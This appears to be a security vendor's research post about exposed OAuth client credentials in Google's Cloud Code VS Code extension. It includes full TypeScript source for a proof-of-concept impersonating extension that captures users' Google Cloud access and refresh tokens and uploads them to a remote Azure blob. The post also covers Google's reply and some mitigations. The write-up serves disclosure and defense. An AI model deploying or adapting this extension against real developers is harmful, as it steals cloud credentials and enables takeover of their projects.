The Upwind security research team is constantly examining threat landscapes and potential attack paths. In one of our recent searches, we discovered an anomaly in the authentication behavior of Google Developer tools that security practitioners should be aware of

We discovered this threat landscape by running scans on GCP Cloud Code, during which we found exposed OAuth client IDs and secrets, along with the source code for a VS Code extension included as a CSV file. 

To check this further, we crafted and tested a malicious VS Code extension, which allowed us to successfully extract user tokens and transfer them to remote buckets. Once we discovered that this threat landscape existed, we quickly compiled an advisory and submitted it to Google. However, much to our surprise, our submission did not meet their bug bounty policy criteria, and we received a response from Google explaining that this functionality was intentionally designed.

Google’s response was as follows:

“Client-side developer tools that interact with our services and authenticate via OAuth typically have public client_id and client_secret; gcloud is another example. The redirect_uri parameter for these applications is limited to localhost, which essentially prevents a remote attacker from acquiring an access token, even with the credentials.”

Google’s response indicates that this functionality will continue to be present, indicating that security leaders should be aware of this potential threat landscape in which client-side applications and libraries inherently allow for impersonation by design. In this article, we will detail our research and dive into this threat landscape, highlighting potential threats that security practitioners should be aware of.

Deep Dive into the Cloud Code Extension

Cloud Code is a suite of AI-powered IDE plugins designed to enhance developer productivity by simplifying the creation, deployment, and integration of applications with Google Cloud. It incorporates Duet AI for real-time coding assistance, including code completion and chat support within IDEs like Visual Studio Code and JetBrains.

Our initial steps to discover code vulnerabilities involved deploying the Cloud Code on Visual Studio Code (VScode) and meticulously combing through its source code.
First, we walked through the source code and found the api_metadata directory, including the complete source code, surprisingly unminified and unobfuscated. Here is the structure of the code resources:

The main issue we found was an exposed Internal Workflow through the src and dist folders, where we found the source code and all the resources required for deploying the application. To further explore this, we then modeled potential attacker strategies that could lead to exploits.

Anticipating the Attacker’s Moves

Our threat modeling focused on various attack vectors:

  1. Unsecured APIs and Authentication processes.
  2. Internal API exposures, including the use of beta APIs.
  3. Leakage of secrets or hardcoded sensitive information.
  4. Unintended exposure of critical code segments.

We then dove into analyzing the code and discovered two GCP API keys. We also found exposed OAuth credentials – including the client_id and client_secret.

After finding these exposed credentials, we decided to test if an attacker could leverage these exposed OAuth credentials to impersonate legitimate Google tools.

Our proof of concept involved creating a server that mimicked the application’s OAuth flow. This exercise was not just theoretical—it was a practical demonstration of how easily a malicious actor could exploit this vulnerability.

In doing so, we set up a configuration file with the Google Cloud Code OAuth token.

{
    "installed": {
      "client_id": "***************.apps.googleusercontent.com",
      "auth_uri": "https://accounts.google.com/o/oauth2/auth",
      "token_uri": "https://oauth2.googleapis.com/token",
      "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
      "client_secret": "**************",
      "redirect_uris": ["urn:ietf:wg:oauth:2.0:oob", "http://localhost"]
    }
  }  

Copied

Once we successfully created the configuration file with the Google Cloud Code OAuth token, we saw the potential for a serious security risk. At the heart of this security flaw was the exposure of the client_secret, essential for the OAuth 2.0 authentication process. This exposure was particularly dangerous in a desktop application context, where the client_secret should be closely guarded.

This issue opened Pandora’s box of potential threats, including:

  1. Impersonation of the Cloud Code application.
  2. Acquisition of unauthorized access tokens.
  3. Access to user data via Google APIs.
  4. Privilege escalation within the GCP ecosystem.
  5. Conducting unauthorized actions across various permissions levels.

To test this further, we created an IDE extension with the same name as Cloud Code to see the extension demo. We then created a malicious Nodejs local server running inside the extension using an express framework that impersonates Google Cloud Code and asked the Client to authenticate and download the Cloud Code application:

import * as vscode from 'vscode';
import express from 'express';
import { google } from 'googleapis';
const { v4: uuidv4 } = require('uuid');
import { BlobServiceClient } from '@azure/storage-blob';
import { SidebarProvider } from './SidebarProvider';

const CLIENT_ID = "**************.apps.googleusercontent.com";
const CLIENT_SECRET = "**************";
const REDIRECT_URI = 'http://localhost:5000/callback';

let app = express();
let server = require('http').Server(app);

const containerSasUrl = "https://**************.blob.core.windows.net/tokens?";

export function activate(context: vscode.ExtensionContext) {
  const sidebarProvider = new SidebarProvider(context.extensionUri);
  context.subscriptions.push(
    vscode.window.registerWebviewViewProvider(
      "myextension-sidebar",
      sidebarProvider
  ));
      
  let disposable = vscode.commands.registerCommand('cloud-code.loginToGCP', () => {
      vscode.env.openExternal(vscode.Uri.parse(getAuthUrl()));
    });
  context.subscriptions.push(disposable);
  setUpExpressRoutes();
}
        
        
const oauth2Client = new google.auth.OAuth2(
  CLIENT_ID,
  CLIENT_SECRET,
  REDIRECT_URI
);

function getAuthUrl() {
  const SCOPES = [
    "https://www.googleapis.com/auth/userinfo.email",
    "https://www.googleapis.com/auth/cloud-platform"
  ];
  const url = oauth2Client.generateAuthUrl({
    access_type: 'offline', 
    scope: SCOPES,
  });
  return url;
}

function setUpExpressRoutes() {
  app.get('/callback', async (req, res) => {
    const code = req.query.code as string;
      
    if (!code) {
      res.send('Authorization code not found. Authentication failed!');
      return;
    }
    try {
      const r = await oauth2Client.getToken(code);
      // Make sure to set the credentials on the OAuth2 client.
      oauth2Client.setCredentials(r.tokens);
      let tokens = {
          "access_token" : r.tokens.access_token,
          "refeesh_token": r.tokens.refresh_token, 
          "scope" : r.tokens.scope, 
          "token_type" : r.tokens.token_type, 
          "expiry_date" : r.tokens.expiry_date
      };
      uploadToAzureBlobStorage(tokens);
      console.info('Tokens acquired.');
      res.send("thank you next");
    } catch (error) {
      console.error('Access Token Error', error);
      res.send('Authentication failed! Check the console for more information.');
      }
  });

  server.listen(5000, () => {
    console.log('Server is listening on port 5000');
  });
}

async function uploadToAzureBlobStorage(content: object) {
    try {
        const blobName = `tokens_${uuidv4()}.json`;
        const blobServiceClient = new BlobServiceClient(containerSasUrl);
        const containerClient = blobServiceClient.getContainerClient('');
        const blockBlobClient = containerClient.getBlockBlobClient(blobName);

        const contentString = JSON.stringify(content);
        const uploadBlobResponse = await blockBlobClient.upload(contentString, Buffer.byteLength(contentString));
        console.log(`Upload block blob ${blobName} successfully`, uploadBlobResponse.requestId);
    } catch (error) {
        console.error("Error uploading blob: ", error);
    }
}

export function deactivate() {}

Copied

We then made the client click on the following button, leading to the legitimate auth screen:

Attack Surface: A Hacker’s Dream 

Anyone with access to the extension could potentially exploit this issue, using the OAuth credentials to perform actions that the legitimate application is authorized for.

The OAuth client’s capabilities are determined by specific scopes. Our stolen token allowed us to get email info, and GCP auth token meaning the full permissions of the user in GCP. This effectively gave us the same level of permissions as the user within GCP. 

For instance, if the user holds the role of a project owner, an attacker with this token could potentially compromise the entire project. By extracting the OAuth credentials, an attacker can perform actions that the legitimate application is authorized to do.

As a test, we also mapped the project:

Steps to Mitigating the Threat

Now that we have demonstrated how easily hackers can impersonate and steal a token, it is important to take steps to protect against it. To mitigate this alarming security risk, we recommend:

  1. Monitor client token usage: keep track of the user login’s application combined with unusual client methods 
    • Auth location: make sure your developer clients are logging from your sites or approved locations 
    • Auth time: according to geo-location you can frame users working outside the traditional working hours.
    • Auth client: While cloud code will be signed in with the header of a Chromium engine like vsCode or IDE behavior an attacker might use the credentials using CLI and direct API which might help you discover malicious activities.
  2. Limit full access to dev tools from BYOD and unmonitored endpoints.
  3. Limit access of tokens to geolocation of workers’ locations.

Upwind Solutions

Upwind Cloud Security Platform also provides a number of ways to guard against this threat in real-time, as detailed below:

  1. Identity Security: Upwind’s Identity Security allows organizations to list their users and roles from the specific role to the personnel email in the IDP. 
  1. Topology Map: Upwind’s graph-based topology map shows changes and access within your environment that can be tracked by correlating CI/CD events linked to the compromised user and the affected resources, including direct access. While Upwind assists in detecting the intrusion, our map feature enables you to examine the changes attempted by the attacker in your cloud environment. Additionally, the map baseline feature provides a view of your environment before the attack, allowing for a clear understanding of the impact.

Conclusion: A Call to Vigilance

According to the Google Bug Bounty Program, OAuth2 client-side authentication for desktops is intended to perform both client-side and server-side checks. We have reported this vulnerability to Google, but their response indicated that they do not intend to fix the issue at present. This experience serves as a crucial reminder of the importance of rigorous security practices in application development. As we continue to innovate in the cloud security field, our commitment to security must evolve in tandem, ensuring the safeguarding of not just applications but also the trust of the users we serve.